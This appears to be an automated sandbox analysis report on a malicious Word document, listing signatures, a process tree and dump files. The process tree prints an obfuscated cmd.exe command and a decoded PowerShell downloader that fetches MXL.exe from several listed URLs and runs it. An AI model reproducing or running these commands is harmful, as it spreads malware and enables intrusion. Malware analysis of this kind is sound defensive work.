Analysis
- max time kernel
143s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
05/05/2024, 04:24
General
- Target 15f6adb64c45d3d266f00d3b3a554ece_JaffaCakes118.doc
- Size 85KB
- Sample240505-e1gjhaaa46
- SHA256 37b107ba324b24165811b1cf451c515d5eaa90d592893700c2d925088f0fb45e
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\15f6adb64c45d3d266f00d3b3a554ece_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /C"s^e^t ^fJ=^=N^e&&^se^t ^WY=^ &&^se^t W^2^Fb=^W&&^s^et r^o^I=^w&&s^e^t ^I6^Q^p=R&&s^e^t ^u^jV^G=^B&&^se^t cqK=^j&&^se^t ^J^t^q=^f=&&^se^t ^7^T=^p&&^set ^in=n&&^se^t ^2^5^h=^-&&s^e^t d^k^Zv=^=^ ^1^;&&^s^et k^G^s=^{&&^s^et ^bJ=/&&^s^et ^g^s=^br&&^se^t G^2=^t&&^s^et r^d^4=o^p&&^s^e^t ^7S^i=t^t&&s^e^t ^I^Ev=^0^f&&^s^et ^9m^6=^s&&s^e^t J^2=t('^@^')^;^$&&^s^et cl^w^F=^.&&^s^et ^h^3lj= ^$^h&&^se^t ^D^sx=x^ml^h&&^s^e^t ^m^E^i=^o&&^s^e^t ^X^PB=^@^h&&^s^e^t ^iC^q^a=s^t&&^s^et 2^5^8^H=^u&&^s^et ^5j^e=^i&&s^e^t ^1^hT^k=N^@&&^s^e^t ^i^7^W^9=^'^h&&^s^et ^Wa^O=^s^s&&s^e^t Ir=en(&&se^t ^UZ=m^p&&^se^t ^1o=^Pa^t^h&&s^et t^3=^m&&^s^e^t O^B^s^U=($&&^s^e^t uUv=^t&&s^e^t U^D^be=^i&&^s^e^t ^g^L=^-&&s^e^t ^da^7C=^@&&se^t ^E3^u=r&&^s^e^t ^h6^g=a^o&&^s^et 5U^q^G=^m&&^se^t g^j^9=^tp&&s^e^t U^m=)&&^s^et r^9^O^1=c&&^s^e^t J^l^G=^}&&s^et C^F^O^w=^e&&s^e^t RN=y^p&&s^e^t ^h^p=^tt^p&&se^t ^FCn^m=^T'^,&&s^e^t ^4^1r=^ac&&^s^e^t ^E^S^oz=e^f^bo^o^k&&^se^t ^ba^P=r&&^s^e^t ^DPo^w=^ ^ &&^set B^8=^e^t^s^.&&^se^t ^P^L=/^At&&^s^e^t ^u^9^t=^D6&&^se^t KzXt=^d&&s^e^t ^i^H=^on^s^eB^ody)&&^s^e^t R^M=^.&&^s^e^t g^9^ty=^$&&^se^t H^b^i=^an^d^.r^u&&^se^t F^g^O=^t&&^s^et ^K^i^J^X=^.&&^s^e^t G^My^4=c&&^se^t ^1^IVN=^H^,&&se^t ^mc=^a&&^se^t RP^m=^m&&^s^et ^HAf=^$&&^s^e^t e^b^m^B=/v^1^9&&^s^et bynP=^-^O^b&&^s^e^t ^4i=r^o&&^s^e^t ^6^SF=^ ^ &&set ^4^ID=^j&&^se^t ^m^ZN=}c^a^tc^h&&^s^et s^PW^M=r^s&&s^e^t m^lB^s=N&&^se^t R^pn=^p&&^s^et 9^W^m^x=^ ^=^ &&se^t S^a^1^h='^;^$Lb^q&&^se^t s^B8^5='^;&&^s^e^t P^lu^b=n&&^s^et 2l^K^X=//&&s^e^t c^G=^a&&s^e^t ^f^s2e=^h&&^s^et ^G^S^J=b^q&&^se^t ^s^mN^d=^://&&^s^et ^t^eO=^l&&s^e^t ^6^hg=^de&&s^e^t ^eu=^b^q&&^se^t ^t^K^U=l&&^s^e^t c^S^D^U=(&&s^e^t M^5^KC=^w&&s^e^t ^wcv=^h^t&&^s^et ^pc^xv=^M&&s^e^t ^3l^P=^$&&^s^et ^5N^Wd=^i&&^se^t ^EL=^l^ie^.r&&set ^Pzi^4=^o&&^se^t d^5=^l2&&^s^e^t ^WG=^f&&^s^et F^W^G^2=^:&&^se^t ^FR35=^w&&^s^et R^W=p^://^e&&^se^t C^A^I=/^E&&set ^B^y^5=^;^$&&^s^e^t ^f^A=o^ &&^se^t ^S^Lp=(^'&&^se^t ^S^5k=)^+'&&s^e^t ^T^G^j^f=^-c&&^s^e^t ^3t=^hR&&s^e^t ^X^h=^o&&^s^e^t J^9P^7=^ec&&^s^e^t ^T3^L=^hRj^=(&&^s^e^t ^5V^U^9=^ '&&^s^et 6^K^8=^m&&^s^et ^5o=^\&&^s^e^t s^f^B^q=^t&&^se^t p^aV^Q=^'&&^s^e^t d^6^k=^0)&&^s^et G^4^aV=^ &&^s^e^t ^D^MU=^t&&^s^e^t M^pl^f=e^a&&s^et RC7=^j&&s^e^t ^Kk^o=^o&&^se^t ^4^mK=^h^t^t&&^s^e^t ^o^J=j^@&&s^e^t ^f^d=^t^p&&s^e^t ^kX^e^q=in^ $dcf)^{^tr&&^s^e^t u^J=^a&&s^e^t 2^O=^.&&^s^e^t r^5=^ &&^s^e^t Sx^O^J=^:&&^se^t ^I^hek=e^w&&^se^t ^sQ=^o^pe&&^s^et ^s^6=^ &&^s^e^t d^Sx^9=(&&^se^t ^JzT^X=/BN&&^s^et ^Er^L^X=^X&&s^e^t S^g^T=^;&&^s^et d^l^w=^bq&&^s^et O^i^s=^s^.co&&^s^et ^mZ^pH=^u&&s^e^t 6C=^og&&^se^t P^5=^=^'^jw&&s^e^t ^E^i^y=e^ &&^s^e^t ^wJ=V&&^se^t p^oV^s=^'&&^se^t ^Hc=^e(&&s^e^t 9^x= &&^se^t ^GR^gl=^p&&^s^et M^y=^h&&^s^et r^d=^e&&^s^e^t ^Hw^A=^.e^x&&s^e^t ^b1=^G^e&&^s^e^t S^6^s=^q^.s&&^s^e^t F^5n=^y^{$^W&&s^e^t 5^WT^u=)^;&&^s^et hR^S^B=^}^ &&^s^et ^bO^2=t^ ^-c&&^s^et ^h^j^p=^j&&s^e^t ^Tn=^i^X&&^s^e^t ^wv^8=^B&&^se^t k^i^lE=^UF&&^s^et r^y=^m&&s^e^t ^6^t=^e&&^se^t ^H^g=^j&&^s^e^t ^9^XF=^.&&^s^et o^J^s=^in&&^s^et ^Br^o=.^wr^it&&^s^et I^G^L=c^e&&^s^et ^Bg=p^o&&^se^t ^i57=^O&&^s^et ^7v=^E&&^s^et ^K^mFE=^e^m.&&^s^et ^36=l^k^ino-^a^t^e&&^s^et ^t^J=^S^y&&^s^e^t ^O^T=/&&^s^et ^h^d=^$&&^s^et D^L=t^o&&s^e^t ^2^h=^at&&^s^e^t wnN^p=r^e&&^s^et ^E^JP^2=^h(^$B^WH^ &&^s^et R^F=^h&&^se^t ^T^j^I=W^a&&^se^t ^i^S^U7=^e&&^s^e^t ^dcn^Z=^p^:&&^s^et j^P=^w&&s^e^t H^3^J=^h&&^se^t ^ovH^x=c&&^s^e^t ^s^2m=^G&&^se^t 2^B^H^i=p^e&&s^e^t E^g^y=^ao&&^se^t ^7z^do=^.&&s^e^t ^uVZ=^W&&s^e^t ^X^uG=^;^f^o&&^s^et ^S^kn^T= ^ &&^set T^B^e=-^P&&^set ^IO^Fz=^.^t&&s^e^t ^I^gq^Y=Wa^o&&set ^60pC=^ll&&s^e^t ^EC=^sx^m&&^s^et C^B^Hs=^h&&^s^et B^m^i=/^p&&^se^t I^s=^]:&&^s^et ^u^g^K^E=^d&&^se^t ^4^G=^e&&^s^et ^Xf=^$&&^s^et ^G8=^s^e&&^s^et tn^F^a=^av&&^s^et K^g^aU=^;S&&s^et ^F^Pu=^'^.^Sp^l&&^se^t ^P^Lc=^$&&s^e^t ^U^A=^t&&s^e^t ^EC^s8=^ec&&s^e^t B^7^6=^st^o&&^s^et G^t=/&&^s^e^t R^M^38=.^a^l&&^s^et f^S^5k=^L&&^se^t t^b=^:&&s^e^t ^b^oBH=^T&&^s^et C^aU^M=^o&&^se^t 1^Q=^ &&s^e^t ^Tj^X=r^e&&s^e^t ^Xs^mo=^k&&^se^t d^p=^P&&^se^t ^T5^f^d=r&&^s^et ^SF^Ed=^;&&^s^et ^T^k^An=^b&&^s^et ^tn^E^P=^[&&s^e^t 5^y^a=res&&^s^et ^Fi^2=^o&&^s^e^t ^U1^E=^L&&s^e^t ^dN^D=^ &&^s^e^t J^6w^g=^e&&s^e^t ^b^P^J9=^L&&^s^e^t ^2F^3=^.&&^s^e^t p^K=^ado^d^b.^s^tr^eam&&^se^t X^e^bc=co^.&&^s^et f^7=)^;$^L&&^s^e^t ^4^0e^5=^l&&^s^et ^d^G^t=^il/^l&&s^e^t R^z^1^i=)^;^$&&^se^t ^Jl^K=a^l&&^se^t ^Pw=re&&^s^et ^5^Q^av=^ &&^se^t T5^9^Z=^IO&&^s^e^t ^K^f=^w&&set ^9n=L^y&&^s^et e^0f^S=r&&s^e^t ^U^Y=^t&&s^et ^XU=a^b&&s^e^t ^w^tA^S=^$L^b&&s^e^t ^K^8=^f&&s^e^t ^1^hR=^ ^'&&c^a^ll ^s^et pZmI=%R^pn%%^Kk^o%%j^P%%^6^t%%s^PW^M%%M^y%%r^d%%^60pC%%1^Q%%^HAf%%^Tn%%^H^g%%P^5%%^m^E^i%%s^B8^5%%^P^Lc%%KzXt%%G^My^4%%^J^t^q%%^i^7^W^9%%^D^MU%%^U^Y%%R^W%%^t^K^U%%6C%%^9m^6%%^2F^3%%X^e^bc%%^d^G^t%%o^J^s%%^wJ%%^u^jV^G%%^I^Ev%%^o^J%%^4^mK%%^dcn^Z%%^O^T%%G^t%%^Jl^K%%^g^L%%u^J%%e^0f^S%%^XU%%^Bg%%B^8%%r^9^O^1%%^Pzi^4%%5U^q^G%%e^b^m^B%%^9n%%^u^9^t%%^da^7C%%H^3^J%%^7S^i%%^7^T%%F^W^G^2%%^bJ%%B^m^i%%^4i%%c^G%%^T5^f^d%%^ovH^x%%R^F%%^5N^Wd%%^t^eO%%H^b^i%%^JzT^X%%^1^hT^k%%^wcv%%g^j^9%%^s^mN^d%%r^o^I%%M^5^KC%%^K^f%%R^M^38%%^E^S^oz%%B^7^6%%^Tj^X%%O^i^s%%r^y%%C^A^I%%^f^s2e%%^X^PB%%^h^p%%Sx^O^J%%2l^K^X%%2^B^H^i%%^Pw%%^6^hg%%^36%%^EL%%2^5^8^H%%^P^L%%^WG%%^mZ^pH%%k^i^lE%%^F^Pu%%^5j^e%%J^2%%^T3^L%%^tn^E^P%%^t^J%%^iC^q^a%%^K^mFE%%T5^9^Z%%R^M%%^1o%%I^s%%t^b%%^b1%%G^2%%^b^oBH%%^4^G%%^UZ%%d^p%%^2^h%%C^B^Hs%%c^S^D^U%%^S^5k%%^5o%%^pc^xv%%^Er^L^X%%^b^P^J9%%^Hw^A%%C^F^O^w%%p^oV^s%%R^z^1^i%%^T^j^I%%^f^A%%^fJ%%^FR35%%bynP%%cqK%%^EC^s8%%uUv%%G^4^aV%%^T^G^j^f%%^Fi^2%%6^K^8%%^1^hR%%RP^m%%^EC%%d^5%%cl^w^F%%^D^sx%%F^g^O%%^f^d%%S^a^1^h%%9^W^m^x%%m^lB^s%%^I^hek%%^2^5^h%%^i57%%^T^k^An%%^4^ID%%J^9P^7%%^bO^2%%C^aU^M%%t^3%%^5V^U^9%%p^K%%p^aV^Q%%^X^uG%%wnN^p%%^4^1r%%^E^JP^2%%^kX^e^q%%F^5n%%^h6^g%%2^O%%^sQ%%^in%%^S^Lp%%^s^2m%%^7v%%^FCn^m%%^h^d%%^wv^8%%W^2^Fb%%^1^IVN%%d^6^k%%^B^y^5%%^I^gq^Y%%^9^XF%%^G8%%P^lu^b%%^u^g^K^E%%d^Sx^9%%5^WT^u%%^3l^P%%f^S^5k%%^G^S^J%%^K^i^J^X%%r^d^4%%Ir%%f^7%%d^l^w%%^IO^Fz%%RN%%^E^i^y%%d^k^Zv%%^Xf%%^U1^E%%^eu%%^Br^o%%^Hc%%g^9^ty%%^uVZ%%E^g^y%%^7z^do%%5^y^a%%^GR^gl%%^i^H%%^SF^Ed%%^w^tA^S%%S^6^s%%tn^F^a%%J^6w^g%%D^L%%^K^8%%U^D^be%%^4^0e^5%%^i^S^U7%%O^B^s^U%%^3t%%^h^j^p%%U^m%%K^g^aU%%s^f^B^q%%^mc%%^ba^P%%^U^A%%T^B^e%%^E3^u%%^X^h%%I^G^L%%^Wa^O%%^h^3lj%%^I6^Q^p%%RC7%%S^g^T%%^g^s%%M^pl^f%%^Xs^mo%%^m^ZN%%k^G^s%%J^l^G%%hR^S^B%%^s^6%%r^5%%^5^Q^av%%^6^SF%%^S^kn^T%%^WY%%^DPo^w%%^dN^D%%9^x%&&ca^l^l %p^Z^mI%"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $iXj='jwo';$dcf='http://elogs.co.il/linVB0fj@http://al-arabpoets.com/v19LyD6@http://proarchiland.ru/BNN@http://www.alefbookstores.com/Eh@http://peredelkino-atelie.ru/AtfuUF'.Split('@');$hRj=([System.IO.Path]::GetTempPath()+'\MXL.exe');$Wao =New-Object -com 'msxml2.xmlhttp';$Lbq = New-Object -com 'adodb.stream';foreach($BWH in $dcf){try{$Wao.open('GET',$BWH,0);$Wao.send();$Lbq.open();$Lbq.type = 1;$Lbq.write($Wao.responseBody);$Lbq.savetofile($hRj);Start-Process $hRj;break}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
MXL.exe
iso690.xsl
__PSScriptPolicyTest_4wbzreud.uza.ps1
memory/2864-60-0x000001BD27E90000-0x000001BD27EB2000-memory.dmp
memory/3692-6-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-5-0x00007FFB0290D000-0x00007FFB0290E000-memory.dmp
memory/3692-10-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-9-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-8-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-7-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-0-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-13-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-12-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-11-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-14-0x00007FFAC02C0000-0x00007FFAC02D0000-memory.dmp
memory/3692-16-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-17-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-15-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-18-0x00007FFAC02C0000-0x00007FFAC02D0000-memory.dmp
memory/3692-21-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-38-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-20-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-548-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-47-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-50-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-48-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-1-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-4-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-3-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-78-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-2-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-495-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-49-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-549-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-559-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp
memory/3692-580-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-579-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-581-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-582-0x00007FFAC28F0000-0x00007FFAC2900000-memory.dmp
memory/3692-583-0x00007FFB02870000-0x00007FFB02A65000-memory.dmp